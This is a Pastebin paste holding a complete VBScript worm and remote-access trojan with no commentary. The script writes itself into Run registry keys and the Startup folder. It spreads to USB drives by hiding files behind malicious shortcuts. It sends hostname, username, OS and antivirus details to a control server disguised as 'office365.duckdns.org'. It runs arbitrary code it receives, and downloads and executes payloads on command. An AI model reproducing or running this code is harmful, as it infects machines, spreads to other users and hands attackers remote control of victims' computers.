Guest User

Untitled

a guest
Apr 27th, 2017
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.10 KB | None | 0 0
  1.  
  2. host = array ("office365.duckdns.org:70")
  3. installdir = "%userprofile%"
  4. lnkfile = false
  5. lnkfolder = false
  6.  
  7. dim shellobj
  8. set shellobj = wscript.createobject("wscript.shell")
  9. dim filesystemobj
  10. set filesystemobj = createobject("scripting.filesystemobject")
  11. dim httpobj
  12. set httpobj = createobject("msxml2.xmlhttp")
  13.  
  14. installname = wscript.scriptname
  15. startup = shellobj.specialfolders ("startup") & "\"
  16. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  17. if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  18. spliter = "<" & "|" & ">"
  19. dim response
  20. dim cmd
  21. dim param
  22. info = ""
  23. usbspreading = ""
  24. startdate = ""
  25. dim oneonce
  26. dns = 0
  27.  
  28. on error resume next
  29.  
  30. instance
  31. while true
  32.  
  33. install
  34.  
  35. response = ""
  36. response = post ("is-ready",information)
  37. if httpobj.status <> 200 then
  38. if dns >= ubound (host) then
  39. dns = 0
  40. else
  41. dns = dns + 1
  42. end if
  43. end if
  44.  
  45. cmd = split (response,spliter)
  46. select case cmd (0)
  47. case "excecute"
  48. param = cmd (1)
  49. execute param
  50. case "update"
  51. param = cmd (1)
  52. oneonce.close
  53. set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
  54. oneonce.write param
  55. oneonce.close
  56. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  57. wscript.quit
  58. case "uninstall"
  59. uninstall
  60. case "send"
  61. download cmd (1),cmd (2)
  62. case "site-send"
  63. sitedownloader cmd (1),cmd (2)
  64. end select
  65.  
  66. wend
  67.  
  68.  
  69. sub install
  70. on error resume next
  71. dim lnkobj
  72. dim filename
  73. dim foldername
  74. dim fileicon
  75. dim foldericon
  76.  
  77. upstart
  78. for each drive in filesystemobj.drives
  79.  
  80. if drive.isready = true then
  81. if drive.freespace > 0 then
  82. if drive.drivetype = 1 then
  83. filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  84. if filesystemobj.fileexists (drive.path & "\" & installname) then
  85. filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
  86. end if
  87. for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  88. if not lnkfile then exit for
  89. if instr (file.name,".") then
  90. if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  91. file.attributes = 2+4
  92. if ucase (file.name) <> ucase (installname) then
  93. filename = split(file.name,".")
  94. set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
  95. lnkobj.windowstyle = 7
  96. lnkobj.targetpath = "cmd.exe"
  97. lnkobj.workingdirectory = ""
  98. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  99. fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  100. if instr (fileicon,",") = 0 then
  101. lnkobj.iconlocation = file.path
  102. else
  103. lnkobj.iconlocation = fileicon
  104. end if
  105. lnkobj.save()
  106. end if
  107. end if
  108. end if
  109. next
  110. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  111. if not lnkfolder then exit for
  112. folder.attributes = 2+4
  113. foldername = folder.name
  114. set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk")
  115. lnkobj.windowstyle = 7
  116. lnkobj.targetpath = "cmd.exe"
  117. lnkobj.workingdirectory = ""
  118. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  119. foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  120. if instr (foldericon,",") = 0 then
  121. lnkobj.iconlocation = folder.path
  122. else
  123. lnkobj.iconlocation = foldericon
  124. end if
  125. lnkobj.save()
  126. next
  127. end If
  128. end If
  129. end if
  130. next
  131. err.clear
  132. end sub
  133.  
  134. sub uninstall
  135. on error resume next
  136. dim filename
  137. dim foldername
  138.  
  139. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  140. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  141. filesystemobj.deletefile startup & installname ,true
  142. filesystemobj.deletefile wscript.scriptfullname ,true
  143.  
  144. for each drive in filesystemobj.drives
  145. if drive.isready = true then
  146. if drive.freespace > 0 then
  147. if drive.drivetype = 1 then
  148. for each file in filesystemobj.getfolder ( drive.path & "\").files
  149. on error resume next
  150. if instr (file.name,".") then
  151. if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  152. file.attributes = 0
  153. if ucase (file.name) <> ucase (installname) then
  154. filename = split(file.name,".")
  155. filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  156. else
  157. filesystemobj.deletefile (drive.path & "\" & file.name)
  158. end If
  159. else
  160. filesystemobj.deletefile (file.path)
  161. end if
  162. end if
  163. next
  164. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  165. folder.attributes = 0
  166. next
  167. end if
  168. end if
  169. end if
  170. next
  171. wscript.quit
  172. end sub
  173.  
  174. function post (cmd ,param)
  175.  
  176. post = param
  177. httpobj.open "post","http://" & host(dns) &"/" & cmd, false
  178. httpobj.send param
  179. post = httpobj.responsetext
  180. end function
  181.  
  182. function information
  183. on error resume next
  184. if inf = "" then
  185. inf = hwid & spliter
  186. inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
  187. inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
  188.  
  189. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  190. set os = root.execquery ("select * from win32_operatingsystem")
  191. for each osinfo in os
  192. inf = inf & osinfo.caption & spliter
  193. exit for
  194. next
  195. inf = inf & "extended" & spliter
  196. inf = inf & security & spliter
  197. inf = inf & usbspreading
  198. information = inf
  199. else
  200. information = inf
  201. end if
  202. end function
  203.  
  204.  
  205. sub upstart ()
  206. on error resume Next
  207.  
  208. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  209. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  210. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  211. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  212.  
  213. end sub
  214.  
  215.  
  216. function hwid
  217. on error resume next
  218.  
  219. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  220. set disks = root.execquery ("select * from win32_logicaldisk")
  221. for each disk in disks
  222. if disk.volumeserialnumber <> "" then
  223. hwid = disk.volumeserialnumber
  224. exit for
  225. end if
  226. next
  227. end function
  228.  
  229.  
  230. function security
  231. on error resume next
  232.  
  233. security = ""
  234.  
  235. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  236. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  237. for each objitem in colitems
  238. versionstr = split (objitem.version,".")
  239. next
  240.  
  241. osversion = versionstr (0) & "."
  242. for x = 1 to ubound (versionstr)
  243. osversion = osversion & versionstr (i)
  244. next
  245. osversion = eval (osversion)
  246. if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  247.  
  248. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  249. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  250.  
  251. for each objantivirus in colantivirus
  252. security = security & objantivirus.displayname & " ."
  253. next
  254. if security = "" then security = "nan-av"
  255. end function
  256.  
  257.  
  258. function instance
  259. on error resume next
  260.  
  261. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  262. if usbspreading = "" then
  263. if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
  264. usbspreading = "true - " & date
  265. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  266. else
  267. usbspreading = "false - " & date
  268. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  269.  
  270. end if
  271. end If
  272.  
  273. upstart
  274. set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
  275. set installfullnameshort = filesystemobj.getfile (installdir & installname)
  276. if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  277. shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  278. wscript.quit
  279. end If
  280. err.clear
  281. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  282. if err.number > 0 then wscript.quit
  283. end function
  284.  
  285.  
  286. sub sitedownloader (fileurl,filename)
  287.  
  288. strlink = fileurl
  289. strsaveto = installdir & filename
  290. set objhttpdownload = createobject("msxml2.xmlhttp" )
  291. objhttpdownload.open "get", strlink, false
  292. objhttpdownload.send
  293.  
  294. set objfsodownload = createobject ("scripting.filesystemobject")
  295. if objfsodownload.fileexists (strsaveto) then
  296. objfsodownload.deletefile (strsaveto)
  297. end if
  298.  
  299. if objhttpdownload.status = 200 then
  300. dim objstreamdownload
  301. set objstreamdownload = createobject("adodb.stream")
  302. with objstreamdownload
  303. .type = 1
  304. .open
  305. .write objhttpdownload.responsebody
  306. .savetofile strsaveto
  307. .close
  308. end with
  309. set objstreamdownload = nothing
  310. end if
  311. if objfsodownload.fileexists(strsaveto) then
  312. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  313. end if
  314. end sub
  315.  
  316. sub download (fileurl,filedir)
  317.  
  318. if filedir = "" then
  319. filedir = installdir
  320. end if
  321.  
  322. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  323. set objhttpdownload = createobject("msxml2.xmlhttp")
  324. objhttpdownload.open "post","http://" & host(dns) &"/" & "is-sending" & spliter & fileurl, false
  325. objhttpdownload.send ""
  326.  
  327. set objfsodownload = createobject ("scripting.filesystemobject")
  328. if objfsodownload.fileexists (strsaveto) then
  329. objfsodownload.deletefile (strsaveto)
  330. end if
  331. if objhttpdownload.status = 200 then
  332. dim objstreamdownload
  333. set objstreamdownload = createobject("adodb.stream")
  334. with objstreamdownload
  335. .type = 1
  336. .open
  337. .write objhttpdownload.responsebody
  338. .savetofile strsaveto
  339. .close
  340. end with
  341. set objstreamdownload = nothing
  342. end if
  343. if objfsodownload.fileexists(strsaveto) then
  344. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  345. end if
  346. end sub
Add Comment
Please, Sign In to add comment